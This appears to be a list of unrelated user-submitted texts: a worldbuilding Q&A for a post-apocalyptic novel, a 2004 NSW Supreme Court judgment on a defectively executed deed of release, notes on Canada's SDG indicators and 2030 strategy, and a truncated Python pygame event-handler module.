successfully standup a number of workflows for our new business, and helped us navigate immensely complicated waters in how we run our inventory exchange. We are thrilled with the results.\n\n—------\n\nBob Sends an email to the potential customer:" -'Petar B\nok, now ask me questions, so we can flesh out this world\nWhat is the state of communication and transportation technology inside and outside the Tiamat zone? How do people maintain contact with one another and travel across long distances?\n\nHow have people\'s beliefs and values changed since the apocalypse? Have new religions, philosophies, or cultural practices emerged in response to the Tiamat field and its effects?\n\nHow have the various human settlements adapted to the changing climate and environmental conditions within the Tiamat zone? What kind of unique challenges do they face, and how do they overcome them?\n\nHow do the different factions and groups within the Tiamat zone and outside of it interact with each other? Are there alliances, trade networks, or diplomatic relations between them, or is it mostly conflict and competition?\n\nWhat is the economic system like within the Tiamat zone and in the rest of the world? How do people obtain necessary resources, such as food, water, and medicine, and how is trade conducted?\n\nHow does the presence of genetically modified creatures impact everyday life for the people living inside the Tiamat zone? Do they have any unique cultural or social practices related to these creatures?\n\nWhat kind of government structures or systems of authority exist within the Tiamat zone and outside of it? How do leaders maintain control and order in their respective territories?\n\nHow do the people living inside the Tiamat zone view the Hybrids and their dystopian societies? What kind of interactions or conflicts have occurred between these groups?\n\nAre there any groups or individuals who are actively researching the Tiamat field, Nate, or other mysterious phenomena in an attempt to understand and possibly control them? What kind of resources or knowledge do they have at their disposal?\n\nHow do the events of the first novel and the characters\' past experiences influence their motivations, relationships, and decisions in the second novel? How do they deal with the emotional and psychological effects of living in a post-apocalyptic world?\n\n\nPetar B\n1. Communication and transportation inside the Tiamat zone is pre-electricity. Some people are able to fire-up an old vehicle, but there\'s no guarantee it will run, and how long it will run. The messages are written or told, nothing works, not even telegraph. Ancient coal trains might work, but the infrastructure outside and inside the zone has deteriorated so much that it\'s extremely difficult to organize such a train, besides, the tracks haven\'t been maintained for over a century, and there were several earthquakes which destroyed infrastructure around north America.\n\nOutside the zone everything works as usual, though with more interference. Computers have become less reliable because Tiamat radiation causes them to flip random bits much more often than before. Everything is much less available to the general public, some of it due to the rise in prices since USA was knocked out of the world\'s economy, other due to the Hybrids working specifically to limit everyone else\'s means of communication. For example, there are only a few airplane flights, and most of them are reserved to either Hybrids, or the elites which formed around the Hybrids\' ruling class. \n\n2. The people have become more religious than in the early 21st century ( the story takes place in the early 22nd century ). Most of the old religions haven\'t changed, but have lost many believers to new religions. The Hybrids cultivate traditional religions only up to however this ensures their continued hegemony. Some of the religions following the "wounded god" are an expression of hope in a world that\'s gradually disintegrating and becoming a worse place to live by the day.\n\n3. The settlements have become more agrarian and focused on self-reliance and hiding from the possible intrusions from outside the zone.\n\n4. Inside the Tiamat zone, trade is mostly conducted by exchange of goods. Outside the zone, there are vast areas ruled by the Hybrids\' states, which use their own money / social credit system, while there are also huge swaths of land which are basically lawless, there the technology is low, but the people use whatever hard cash the Hybrids\' states, or local Polities provide, as well as just exchange of goods.\n\n5. There\'s basically no economic system inside the zone. The hybrids\' governments are the only ones to offer truly stable supply of water, food and medicine, while the polities, independent tribes and other groups are trying extremely hard to survive. That\'s why most people see the dystopian societies of the Hybrids as something to strive for, as almost everyone in the world has been affected by the many famines, pandemics, epidemics etc.\n\n6. Yes, some have come to respect the creatures, and even have fairytales, legends, stories, shrines etc.\n\n7. Inside the Tiamat zone, there are several settlements, and some roaming tribes whose organization isn\'t very solid, and it tends to change over the generations. Outside, the defacto hegemony is the Hybrids and their brutal, and often careless decisions.\n\n8. The nearest border of the Hybrids\' states is thousands of miles away from the zone, so the inhabitants of the zone haven\'t seen or really had problems with the Hybrids. Their biggest enemies are the polities, city-states on the coasts which often raid the zone for agricultural products. There\'s a real rural VS urban theme, as the cities are desperate for agricultural produce, but they can\'t ensure a long lasting rule over the rural areas of North America. The semi-independent states in Mexico supply the cities of the coasts, but they are also often at war with these cities.\n\n9. Yes, there are, but nobody really has a clue what\'s really going on with Tiamat, and they don\'t even have equipment that works inside the zone, which could potentially offer readings to help the science.\n\n10. Lena used to be a medical student, she used to work in an ER as a triage nurse, but she\'s very empathetic. She was a calm, rational person with seemingly endless love and understanding, but her awakening in the new world has started to change her, she becomes more machiavellian, brutal, relentless, thirsty for vengeance against Ethan etc.\n\nOlivia is seemingly unchanged by the apocalypse. She just wants to seduce men, to manipulate people, cause drama, take drugs, drink, go to parties, she wants to be the center of attention, and her ambitions go from none to extreme on a whim. She is very adapted to this new world, as she easily manipulates both men and women for her own goals.\n\n9. \nThere are individuals and groups outside the Tiamat zone who are actively researching Tiamat and other mysterious phenomena, but their progress is limited due to the difficulties in acquiring equipment that works within the zone and their lack of understanding of Tiamat\'s true nature. These researchers come from various backgrounds, including independent scientists, members of Hybrid organizations, and even religious groups seeking a deeper understanding of the "wounded god." Their resources and knowledge vary greatly, with some having access to advanced technology or ancient texts, while others rely on word-of-mouth stories and local folklore to piece together the puzzle.\n\nThe other characters from the first novel also have their own unique struggles and growth in the second novel. For example, Ethan grapples with the consequences of his actions and the person he has become since Lena\'s disappearance, while Mr. Gray continues to adapt to the shifting balance of power in the world and the emergence of the Hybrids. Each character\'s motivations, relationships, and decisions are shaped by their past experiences and the emotional and psychological effects of living in a post-apocalyptic world. This includes the challenge of finding hope and purpose amidst chaos, loss, and uncertainty, as well as navigating the shifting dynamics between old friends, enemies, and newfound allies.\n\n\nPetar B\nexactly.\n\nMore questions, please\nWhat is the state of education in the Tiamat zone and the outside world? Are there schools or other institutions where people can learn and develop new skills?\n\nHow has art and culture evolved inside and outside the Tiamat zone? Are there new forms of expression or unique cultural practices that have emerged in response to the apocalypse and the rise of the Hybrids?\n\nWhat is the role of technology in the daily lives of people inside and outside the Tiamat zone? Has the reliance on technology decreased or changed in any way due to the Tiamat field and its effects?\n\nHow do people inside the Tiamat zone view the outside world and vice versa? Are there any misconceptions or stereotypes that each group has about the other?\n\nAre there any organized resistance movements against the Hybrid governments, either inside or outside the Tiamat zone? If so, how do they operate, and what are their goals?\n\nHow do the Hybrids maintain control over their territories? What methods do they employ to ensure compliance and loyalty from the human population?\n\nHow do people inside the Tiamat zone obtain necessary resources like food, water, and medicine? Are there any unique methods of resource management or distribution that have developed in response to the challenges of the post-apocalyptic world?\n\nAre there any new religions or spiritual practices that have emerged inside the Tiamat zone in response to the mysterious phenomena and the presence of Tiamat?\n\nWhat is the role of family and community in the Tiamat zone and the outside world? Have the bonds between people grown stronger or weaker in the face of the apocalypse and the new world order?\n\nHow do people inside the Tiamat zone and the outside world cope with the psychological and emotional challenges of living in a post-apocalyptic world? Are there any unique coping mechanisms or support systems that have developed in response to these challenges?' -'IN THE SUPREME COURT\nOF NEW SOUTH WALES\nEQUITY DIVISION\n\nYOUNG CJ in EQ\n\nWednesday 15 September 2004\n\n3671/04 – PRIME CONSTRUCTIONS PTY LTD v WESTBRIDGE INVESTMENTS PTY LTD\n\nJUDGMENT\n1 HIS HONOUR: By statement of liquidated claim filed in the Local Court at the Downing Centre, Sydney, on 3 February 2003 the plaintiff claimed $11,754.60, and costs, from the defendant for goods sold and delivered. The claim was disputed and both parties were represented by solicitors, a Mr Park and a Ms Lim for the plaintiff, and a Ms Williams for the defendant.\n2 On 21 January 2004 the plaintiff\'s solicitor made an offer that the parties settle the matter for the amount claimed, with each party to pay its own costs, with a deed of release to be entered into between the parties. On 23 January 2004 the defendant\'s solicitor accepted this, as a matter of principle, and Ms Williams emailed Ms Lim as follows:\n\n“I attach the deed of release in this matter.\nPlease let me have any comments as I would like to prepare execution copies as soon as possible.\nFinally, I am now holding the cheque in favour of your client for $11,721.60.”\n3 Mr Park accepted the deed as drafted, and on 9 February 2004 Ms Williams emailed him the deed for execution.\n4 On 12 February 2004 Mr Park emailed Ms Williams:\n\n“Dear Kim,\nThe terms referred to in your e-mail below is acceptable. Can you please fax me a signed copy and I will attend to its filing straight away?\nAlso, I\'ve received the signed deed from your client today so we are now in a position to exchange deeds and the settlement cheque. Can you please advise your client that we are ready and inquire as to when the deeds can be exchanged?”\n\nOn 13 February at 10.10am Ms Williams emailed back:\n"Hi Peter\nI am informed by Les Houlton Westbridge that the deed of release has now gone to the co-director for execution.\nI will revert to you when I receive the return of the deed. In the meantime I shall print out the Terms of Settlement, sign same and forward it to you.”\n5 That was the last of the "Dear Peter" and "Dear Kim" e-mails. Thereafter there was correspondence of "Dear Sir" or "Dear Madam", as the case may be.\n6 The first of these was a fax Ms Williams sent on 13 February to the effect that:\n\n“We ... have been instructed to advise that, after further consideration, our client has now reconsidered its position.”\n\nAn additional term was then proposed about a letter from the plaintiff to the proprietor as to the quality of the works that had been done.\n7 This was replied to by a contention that the matter had been settled and settlement has occurred, and there was desultory correspondence between the solicitors, until Ms Williams notified Mr Park on 22 April 2004 that her firm had ceased to act for the defendant, which would be thereafter acting for itself.\n8 On about 9 February 2004 the deed, in the form which had been agreed between the solicitors, was executed in the following way; the document ended:\n“EXECUTED by the parties as a deed:\n\nSIGNED SEALED AND DELIVERED by\nPRIME CONSTRUCTIONS PTY LIMITED\nin the presence of:”\n\nOpposite the attestation clause was the signature of a director, Mr Holmes, and that signature was witnessed by Mr Flint, who was not the secretary of the company, but was its accounting and administration manager. The so-called deed was then delivered to Mr Park by about 12 February 2004.\n9 On 28 June 2004 the plaintiff commenced the present proceedings seeking specific performance of the alleged agreement to settle the Local Court proceedings. The matter came on for hearing before me on 3 September and today.\n10 A series of questions need to be addressed:\n1. Was there a final settlement of the Local Court proceedings?\n\n2. What was the effect of the document executed on 9 February 2004?\n\n3. What is the effect of the ratification of that document on 15 September 2004, and the signing of another copy of the deed?\n\n4. What order should be made.\n\nI will deal with these matters in turn.\n11 1. There is often a problem where parties have made an agreement to settle proceedings, which agreement is to be consummated by formal documentation. As the leading case of Masters v Cameron (1954) 91 CLR 353, 360 makes it clear, there can be at least three situations:\n(i) that the parties have reached a final binding agreement, but propose to have the terms re-stated in a form which will be fuller or more precise, but not different in effect;\n\n(ii) the parties have agreed, but have made performance of one or more of the terms conditional upon the execution of a formal document; or\n\n(iii) they have not even reached a final agreement at all.\n\nThere are other variations. It is always a matter of fact and intention.\n12 In view of the correspondence which I have set out, the fact that the terms of the deed were finally agreed upon, the terms of settlement were finally agreed upon, it seems to me that all that was left was pure mechanics and the case falls within the first of the classes in Masters v Cameron. Thus, I am satisfied that there was a final settlement of the proceedings.\n13 2. A deed is the most solemn act that a person can perform with respect to its property. Deeds have a very ancient origin and because the execution of a deed is such a solemn matter the law prescribes the way in which they are to be executed, so that it is understood by the persons executing them what a solemn legal act they are performing by being bound by a deed.\n14 The prime legislation governing the execution of deeds by corporations is s 127 of the Corporations Act 2001 and s 51A of the Conveyancing Act 1919. Section 51A enables a company to execute a deed under seal with a signature of a director and a secretary. Section 127 (2) of the Corporations Act says much the same sort of thing. However, s 127 (1) makes it clear that a company can bind itself by a deed by a less formal method. However, two directors of the company must sign the deed, or a director and a company secretary must sign the deed, and if there is only one director of a company then that director alone can sign it, and the document must be expressed to be a deed.\n15 In the instant case, while the document was expressed to be a deed, only one director signed it so there was no compliance with s 127 of the Corporations Act. As there was no seal, there was no compliance with section 51A of the Conveyancing Act.\n16 Section 127(4) of the Corporations Act makes it clear that the section does not limit the ways in which a company may execute a document, including a deed. It is not particularly clear what this covers. However, it would seem that it covers the common law method of executing a deed, or the method of executing a deed that is binding on the company, which is prescribed by the company\'s constitution.\n17 In the instant case, I was not favoured with a copy of the company\'s constitution, so there can be no reliance on the common law method of execution of a deed, which usually involves the seal and signature by the directors and secretary.\n18 However, it would seem that s 127(4) also covers the situation where, by virtue of some estoppel, the deed is binding on the company. Mr Davis, who appeared for the plaintiff, (the defendant indicated it would not attend the hearing) relied on the decision of Mackenzie J in the Supreme Court of Queensland in Carter v Schmierer BC200300443. That was a case where his Honour was asked to make a declaration under s 418A of the Corporations Act that a charge was valid. I must confess, I do not read the case in the same way as Mr Davis does. It would seem that his Honour was of the view that, in all the circumstances, the document was not executed as a deed, but the mortgagor company was estopped from denying it. In the end, he declared that, insofar as it is asserted that the charge was invalid because it was not executed in accordance with s 127 of the Corporations Act, the appointment of the receivers and managers pursuant to the charge was valid. He thus, with great skill, circumvented the technical question.\n19 I have before today (see Nicom Interiors Pty Ltd v Circuit Finance Pty Ltd (2004) 50 ACSR 25) pointed out how essential it is for lawyers advising companies which are executing deeds to be very careful to ensure that they are executed in accordance with s 127, or other permissible methods. Unfortunately, in the present case somewhere along the line, I do not know whose fault it is, the document which was executed on 9 February failed to comply with those standards of execution, and was not, technically speaking, a deed.\n20 If the document were a deed, then its being handed to the solicitor on about 12 February would operate as delivery. That would mean that as soon as the deed was in the hands of the solicitor it was binding on the plaintiff, and the fact that the other party had not executed the deed was no excuse for not complying with it.\n21 Accordingly, the releases given by that deed to the defendant have been in effect. The only way in which the plaintiff could have escaped from being bound by the deed, if the other party had not executed it within a reasonable time, (the deed having been delivered) was by application in equity. See Scook v Premier Building Solutions Pty Ltd (2003) 28 WAR 124; Carew\'s Case (No 2) (1855) 7 De GM&G 43; 44 ER 17 and Federal Commissioner of Taxation v Taylor (1929) 42 CLR 80.\n22 Even if there was not a proper execution of the deed, because Mr Park had represented to Ms Williams that the deed had been executed, it may well have been that estoppel would operate so that the plaintiff would be estopped from denying that the document was a deed, and if the defendant had taken that view, then the deed would have had the same operation as if it had been executed as a deed.\n23 Accordingly, on this basis, we have what is known in specific performance law as an executed contract.\n24 3. The evidence is that on 15 September, that is this morning, there was a meeting of the board of directors of the plaintiff, which both ratified the deed and also executed a new deed properly. The question is what is the effect of that?\n25 Ordinarily, ratification relates back to the time when the original act was done. There is an exception where what is to be done has to be done within a limited time; see Dibbins v Dibbins [1896] 2 Ch 348. However, that line of cases only seems to apply where time is of the essence. Here, although it may well be argued that there was only a reasonable time in which the deed could be signed and proffered, time was not of the essence, and the acts of the defendant precluded the formal document being proffered, and as the defendant never saw it, it never realised that the deed was not properly executed.\n26 Accordingly, either by estoppel, as I indicated under heading 2, or because of ratification, the deed took effect from the date of delivery on 12 February 2004, and the consequences flow as per para 2 of these reasons.\n27 If that is wrong, then the evidence is that the new deed was delivered this morning to the solicitor, and that would show that as at the date of hearing, which is the only relevant time, the plaintiff was ready, willing and able to fulfil the contract, so far as the same remained to be performed on its part.\n28 4. The next question is what order should be made. Where there is an executed contract, ordinarily, specific performance is granted automatically because it is unfair that one party should be bound by an agreement and the other not, when they have intended that there should be mutual rights.\n29 However, in the present case, granting specific performance creates more problems than it solves. Assuming the defendant maintains its attitude of not doing anything, then the decree for specific performance would have to be entered, someone would have to apply on motion under s 100 of the Supreme Court Act for the deed to be executed by a Registrar of the court in the name of the defendant, and then a fresh action would have to be commenced in a Local Court for debt on the specialty. In view of the amount involved, this would be a very expensive exercise indeed.\n30 It seems to me that as there is a specifically enforceable agreement, one can make a declaration that the defendant is bound by the terms of the document, which is, for instance, annexure A to Mr Drake\'s affidavit of 15 September 2004, including the releases contained therein, and then merely give judgment for the plaintiff for the sum referred to in the deed, namely, $11,721.60, and that is the sort of order I will make.\n31 I declare that the defendant is bound by the terms of the deed of release, annexed A to the affidavit of JDM Drake, sworn herein on 15 September 2004, as if it had signed the deed.\n32 I find a verdict for the plaintiff for $11,721.60 and order the defendant to pay the plaintiff\'s costs of the proceedings, but no costs are to be allowed for the 15 September 2004 hearing.' -"Canadian Indicator Framework for SDG\nhttps://www150.statcan.gc.ca/n1/pub/11-26-0004/112600042021001-eng.htm\nGoal 2 \nEnd hunger, achieve food security and improved nutrition and promote sustainable agriculture\n\nCanadian Ambition: Canadians have access to sufficient, affordable and nutritious food\nTarget : No specific target\nIndicator: Prevalence of food insecurity\nSource: Statistics Canada. Table 13-10-0385-01 Household food security by living arrangement\n\n★Canadian Ambition: Canadian agriculture is sustainable\nTarget: By 2030, support improvement in the environmental performance of the agriculture sector by achieving a score of 71 or higher for the Index of Agri-Environmental Sustainability\nIndicator: Index of Agri-Environmental Sustainability\nSource: Agriculture and Agri-Food Canada. Custom tabulation\n\nThis indicator is an index that measures Agri-Environmental Sustainability. Agriculture and Agri-Food Canada developed a set of science-based agri-environmental indicators (AEIs) that integrate information on soils, climate and topography with statistics on land use and crop and livestock management practices. The indices are divided in five “health classes”, defined as: 80-100 Desired; 60-79 Good; 40-59 Moderate; 20-39 Poor; 0-19 At risk.\n\nEnvironmental Sustainability of Canadian Agriculture: Agri-Environmental Indicator Report Series – Report #4\nGoal 8 \nPromote sustained, inclusive and sustainable economic growth, full and productive employment and decent work for all\n\nCanadian Ambition: Canadians have access to quality jobs\nTarget:No specific target\nIndicator:Unemployment rate\nSources: Statistics Canada. Table 14-10-0327-01 Labour force characteristics by sex and detailed age group, annual; Statistics Canada. Table 14-10-0393-01 Labour force characteristics, annual\n\nIndicator: Proportion of employees earning less than 66% of the median hourly wage for permanent full-time employees\n\nSource: Statistics Canada. Custom tabulation\n\nIndicator: Proportion of youth not in education, employment or training\nSource: Statistics Canada. Table 37-10-0196-01 Percentage of 15-to 29-year-olds in education and not in education by labour force status, highest level of education attained, age group and sex\n\nIndicator: Rate of involuntary part-time work\nSource: Statistics Canada. Table 14-10-0029-01 Part-time employment by reason, annual (x 1,000)\n\nCanadian Ambition: Canadians contribute to and benefit from sustainable economic growth\nTarget: No specific target\nIndicator: Gross domestic product per capita\nSources: Statistics Canada. Table 36-10-0222-01 Gross domestic product, expenditure-based, provincial and territorial, annual (x 1,000,000); Statistics Canada. Table 17-10-0005-01 Population estimates on July 1st, by age and sex\n\nIndicator: Jobs in the clean technology products sector\nSource: Statistics Canada. Custom tabulation\nGoal 9 \nBuild resilient infrastructure, promote inclusive and sustainable industrialization and foster innovation\nCanadian Ambition: Canada fosters sustainable research and innovation\nTarget:No specific target\nIndicator: Proportion of innovation in environment-related technology\nSource: OECD Patent Database, derived from EPO's Worldwide Patent Statistical database\n\nIndicator: Gross domestic expenditure on research and development intensity\nSource: Statistics Canada. Table 27-10-0359-01 Total domestic expenditures on research and development (R&D) as percentage of gross domestic product (GDP), Canada and provinces, and G-7 countries\n\nCanadian Ambition: Canadians have access to modern and sustainable infrastructure\nTarget: By 2026, 98% Canadian homes and small businesses have access to Internet at speeds of 50 Mbps download / 10 Mbps upload, with the goal of connecting all Canadians to these speeds by 2030\nIndicator: Proportion of households that have access to broadband Internet service at speeds of 50/10 Mbps\nSource: Canadian Radio-television and Telecommunications Commission. Communications Monitoring Report\n\nTarget: Improved access to the latest mobile wireless services\nIndicator: Proportion of Canadians that have access to the latest generally deployed mobile wireless technology\nSource: Canadian Radio-television and Telecommunications Commission. Communications Monitoring Report\nGoal 12 \nEnsure sustainable consumption and production patterns\n\nCanadian Ambition: Canadians consume in a sustainable manner\n\nTarget: No specific target\nIndicator\nProportion of businesses that adopted selected environmental protection activities and management practices\nSources: Statistics Canada. Table 38-10-0132-01 Environmental protection activities by industry; Statistics Canada. Table 38-10-0137-01 Environmental Management Practices by industry\n\nTarget\nNo specific target\nIndicator\nTotal waste diversion per capita\nSources: Statistics Canada. Table 38-10-0138-01 Waste materials diverted, by type and by source; Statistics Canada. Table 17-10-0005-01 Population estimates on July 1st, by age and sex\nGoal 13 \nTake urgent action to combat climate change and its impacts\n\nCanadian Ambition: Canadians reduce their greenhouse gas emissions\n\nTarget\nBy 2030, reduce Canada's total greenhouse gas emissions by 40 to 45%, relative to 2005 emission levels. By 2050, achieve economy-wide net-zero greenhouse gas emissions.\nIndicator\nGreenhouse gas emissions\nNote: corresponds to the Canadian Environmental Sustainability Indicators “Greenhouse gas emissions”\nSource: Environment and Climate Change Canada's National Inventory Report 1990-2019: Greenhouse Gas Sources and Sinks in Canada\n\nCanadian Ambition: Canadians are well-equipped and resilient to face the effects of climate change\n\nTarget-No specific target\nIndicator-Proportion of municipal organizations who factored climate change adaptation into decision-making processes\nSources: Statistics Canada. Table 34-10-0277-01 Count of municipal organizations who factored climate change adaptation into decision-making process, by core infrastructure assets, by urban and rural, and population size, Infrastructure Canada; Statistics Canada. Table 34-10-0261-01 Municipal ownership of core infrastructure assets, by urban and rural, and population size, Infrastructure Canada\nCanada’s 2030 Agenda National Strategy (UN)\nhttps://www.canada.ca/en/employment-social-development/programs/agenda-2030.html\nMoving Forward Together: Canada’s 2030 Agenda National Strategy is a call to action for all Canadians, led by the federal government. It is spearheaded by the Department of Employment and Social Development Canada (ESDC). In 2015, all 193 United Nations Member States adopted the 2030 Agenda for Sustainable Development. \n\nFor Canada, the 2030 Agenda calls for concerted efforts to build an inclusive, sustainable and resilient future, a secure world founded on human rights and the rule of law, free from poverty and hunger. One with full and productive employment and access to quality education and universal health coverage, where gender equality has been achieved, culture and diversity are celebrated, and the environment is protected.\n\nAt the core of the 2030 Agenda are five key elements—people, prosperity, planet, partnership and peace— all supporting sustainable development that leaves no one behind. Central tenets include:\n\nThe 2030 Agenda is universal in nature and applicable to every country; the 2030 Agenda and its SDGs are as relevant in Canada as everywhere else in the world.\nThe 2030 Agenda is ambitious and aspirational. It acknowledges the requirement to move beyond conventional actions to seek transformative solutions.\nThe SDGs are interlinked and indivisible. The achievement of any goal is linked to the achievement of others.\nThe 2030 Agenda can only be achieved when no one is left behind ensuring that every person can participate in, contribute to and benefit from sustainable development.\n\nSustainable development is defined under the Federal Sustainable Development Act, the legislation that requires the government to prepare and report on the Federal Sustainable Development Strategy every three years.\n\nSustainable development not only ensures the planet's health for future generations, it also includes economic stability and vibrant, healthy communities.\nDefinitions\nsustainability\u2002means the capacity of a thing, action, activity, or process to be maintained indefinitely.\u2002(durabilité)\n\nsustainable development\u2002means development that meets the needs of the present without compromising the ability of future generations to meet their own needs.\u2002(développement durabilité)\n\nChallenges being addressed\nFour years into the global implementation of the 2030 Agenda, progress has been made with many of the goals and targets. However, it is not proceeding at the pace needed to achieve this ambitious agenda.\n\nCanada is currently experiencing economic growth and historically low unemployment. with a rapidly evolving labour market due to globalization, new technologies, evolving business models and shifting demographics. Amid rapid change, Canada's prosperity and success will increasingly depend on helping all Canadians access decent jobs and on creating a culture of innovation, skills development and lifelong learning.\n\nThe spread of information and communications technology is helping to accelerate human progress. \nAdopting the 2030 Agenda\nCanadians are already answering the call. From businesses acting in socially responsible and environmentally sustainable ways, ….overcome shared challenges and achieve the shared ambitions of the SDGs.\n\nIt is recommended that Canada’s 2030 Agenda National Strategy cover the following:\nLeadership, governance and policy coherence\nworking across different levels of government to create an environment that fosters ownership and collaboration on the SDGs;\nAwareness, engagement and partnership\nraising awareness of the SDGs will include highlighting the efforts of Canadians who are already contributing to the 2030 Agenda\nCanada recognizes that multi-stakeholder partnerships are essential in order to achieve the 2030 Agenda. horizontal collaboration and innovation across sectors that help further implement the 2030 Agenda. This includes partnerships aimed at building awareness and engagement, expanding or establishing new partnerships and networks, and advancing capacity building and research. \nBringing together diverse experts with practical knowledge, experience and insights about approaches that work well enables Canada to enhance problem-solving, innovation and peer learning. These are important implementation tools that can generate new solutions to sustainable development challenges.\nAccountability, transparency and reporting\nReconciliation and the 2030 Agenda\nInvesting in the SDGs\nAchieving sustainable development is key to securing future economic prosperity, ensuring the health of the planet and preserving global peace and security.\nEnhance collaboration between different levels of government, the private and non-profit sectors and research communities, and support the development of new and innovative partnerships, approaches and breakthroughs to advance multiple SDGs.\n\nThe Federal Sustainable Development Strategy\nGoal 2:\nShort-term milestone: Promote and support the Canadian Agricultural Partnership Policy Framework\nConclude the Canadian Agricultural Partnership by 2023 and develop the next Canadian agricultural policy framework.\n\nImplementation strategy action: Support sustainable agriculture\nSupport research, development, knowledge transfer, and adoption of sustainable agricultural practices. Conduct research on the environmental effects of agriculture, as well as ways the sector can help combat climate change and become more economically and environmentally sustainable, including by developing nature-based agricultural climate solutions. Promote innovation and encourage the adoption of sustainable agricultural practices, as well as the use of clean fuels and technologies at farm and landscape levels.\nGoal 8: \nTarget: Clean technology commercialization\nBetween 2022 and 2026, 30% of all Sustainable Development Technology Canada's SD Tech Fund-supported technologies are commercialized annually (Minister of Innovation, Science and Industry)\nIndicator\nPercentage of SD Tech Fund-supported technologies commercialized (revenue derived from project technology)\nThis indicator tracks the percentage of SD Tech Fund supported technologies commercialized (revenue derived from project technology). As of March 31, 2021, 32% of Sustainable Development Technology Canada's supported technologies have been commercialized. Commercialized projects represent those that have entered or were ready to enter the market, as of March 31 of the given fiscal year.\nGoal 9:\nShort-term milestone: Growing business investment in research and development\nIncrease Canadian business expenditures in research and development to $30 billion by 2025, keeping pace with the Organisation for Economic Co-operation and Development average as a percentage of gross domestic product.\nGoal 12:\nShort-term milestone: Measure food loss and waste\nBy 2023, establish a national measurement framework and baseline to identify priority areas of action to reduce food loss and waste.\n\nImplementation strategy action: Deliver efficient food systems\nReduce food loss and waste at all stages of the food supply chain, helping to make our diverse food systems more efficient and more environmentally, socially and economically sustainable.\nGoal 13:\nShort-term milestone: Establish a 2030 Emissions Reduction Plan\nBy the end of March 2022, pursuant to the Canadian Net-Zero Emissions Accountability Act, establish Canada's 2030 Emissions Reduction Plan that includes a description of the key measures the Government of Canada intends to take to achieve the 2030 greenhouse gas emissions reduction target of 40 to 45% below 2005 levels." -'Here is the "event\\_handler.py" as I said earlier is in charge of the events: from typing import List, Callable\nimport pygame as pg\nfrom .global\\_data import DATA, on\\_update\nfrom .objects import Object\n\nclass Event:\n \\_\\_slot\\_\\_ = "event\\_type", "event\\_name", "callback", "object", "name"\n \n def \\_\\_init\\_\\_(self, event\\_type, event\\_name, callback: Callable, object: Object = None, name: str = "Default", \\*\\*kwargs):\n self.type = event\\_type\n self.event\\_name = event\\_name\n self.callback = callback\n self.object = object\n self.name = name\n\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n def \\_\\_contains\\_\\_(self, item):\n return item in self.\\_\\_dict\\_\\_.keys()\n\n def \\_\\_call\\_\\_(self, \\*\\*kwargs):\n try:\n self.callback(\\*\\*kwargs)\n except Exception as e:\n self.callback()\n\nclass EventList(list): \n def \\_\\_init\\_\\_(self, \\*args, \\*\\*kwargs):\n super().\\_\\_init\\_\\_(\\*args, \\*\\*kwargs)\n\n def get\\_by\\_type(self, event\\_type) -> List[Event]:\n return [event for event in self if event.type == event\\_type]\n\n def get\\_by\\_name(self, event\\_name) -> Event:\n lst = [event for event in self if event.event\\_name == event\\_name]\n return lst[0] if lst else None\n\n def replace(self, name: str, new\\_event: Event) -> None:\n for i, event in enumerate(self):\n if event.name == name:\n self[i] = new\\_event\n\n def remove(self, \\*names) -> None:\n for name in names:\n for i, event in enumerate(self):\n if event.name == name:\n del self[i]\n\n def add(self, event: Event):\n # if event already exists, replace it\n if self.get\\_by\\_name(event.name):\n self.replace(event.name, event)\n\n # otherwise, add it\n else:\n self.append(event)\nclass EventHandler:\n r\'\'\'\n - Manages events on the program \n \'\'\'\n \n events = EventList()\n to\\_remove: List[str] = []\n to\\_add: List[Event] = []\n\n \\_\\_ezsgame\\_events = ("update",)\n\n def check():\n # gets widnow events\n events = pg.event.get()\n\n # removes events\n for name in EventHandler.to\\_remove:\n\n for event in EventHandler.events:\n if event.name == name:\n EventHandler.events.remove(event)\n break\n\n # if is ezsgame event\n else:\n # removes event from DATA so it won\'t be called anymore\n if name in DATA.on\\_update:\n del DATA.on\\_update[name]\n\n EventHandler.to\\_remove.clear()\n\n # adds events\n for event in EventHandler.to\\_add:\n\n # if is ezsgame event\n if event.type == "ezsgame":\n\n # MANAGE EZSGAME EVENTS\n\n # on update event\n if event.event\\_name == "update":\n on\\_update(event.name, event.callback)\n\n # if is a event\n else:\n EventHandler.events.add(event)\n\n EventHandler.to\\_add.clear()\n\n # EVENT MANAGEMENT -------------------------------------------------------------------------------------------\n for ev in events:\n # ev : event to process\n\n # quit event (cannot be event listener)\n if ev.type == pg.QUIT:\n for event in EventHandler.events.get\\_by\\_type(pg.QUIT):\n event.callback()\n\n DATA.window.quit()\n\n # Manages custom events\n for event in EventHandler.events.get\\_by\\_type("custom"):\n event\\_args = {\n "key": ev.key if ev.\\_\\_dict\\_\\_.get("key") else None,\n "unicode": ev.unicode if ev.\\_\\_dict\\_\\_.get("unicode") else None,\n "type": ev.type,\n "button": ev.button if ev.\\_\\_dict\\_\\_.get("button") else None,\n "is\\_hovering": EventHandler.is\\_hovering(event["object"]) if "object" in event else False\n }\n\n event(\\*\\*event\\_args)\n\n # EVENT LOOP (managing events)\n for event in EventHandler.events.get\\_by\\_type(ev.type):\n\n # if is event listener (uses a object)\n is\\_event\\_listener = event.object is not None\n is\\_hovering = False\n\n if is\\_event\\_listener:\n is\\_hovering = EventHandler.is\\_hovering(event.object)\n\n # if is not hovering and event is not unhover then skip\n if not is\\_hovering and not event.event\\_name == "unhover":\n continue\n\n # function to reduce code, function decides whaterver callback should called or not\n def callback():\n if is\\_event\\_listener:\n # events that require be hovering\n if is\\_hovering and event.object.styles.visible:\n event.callback()\n\n # if is not event listener is base event, just call callback\n else:\n event.callback()\n\n # mouse events\n if ev.type == pg.MOUSEBUTTONDOWN:\n # mouse wheel up\n if event.event\\_name == "mousewheelup" and ev.button == 4:\n callback()\n continue\n\n # mouse wheel down\n elif event.event\\_name == "mousewheeldown" and ev.button == 5:\n callback()\n continue\n \n # right mouse button\n elif event.event\\_name == "rightclick" and ev.button == 3:\n callback()\n continue\n \n # click, mousedown or leftclick\n elif event.event\\_name in ("click", "mousedown", "leftclick") and ev.button == 1:\n callback()\n continue\n \n\n # hover events\n elif ev.type == pg.MOUSEMOTION:\n if event.event\\_name == "unhover":\n if not is\\_hovering:\n event.callback()\n continue\n\n else:\n callback()\n continue\n\n # mouse up events\n elif ev.type == pg.MOUSEBUTTONUP:\n if event.event\\_name == "mouseup" or event.type == pg.MOUSEBUTTONUP:\n event.callback()\n\n else:\n callback()\n\n elif "key" in event:\n if event.key == ev.key:\n event(key=ev.key, unicode=ev.unicode)\n continue\n\n # base on key event keydown or keyapp\n elif event.type in (pg.KEYDOWN, pg.KEYUP):\n event(key=ev.key, 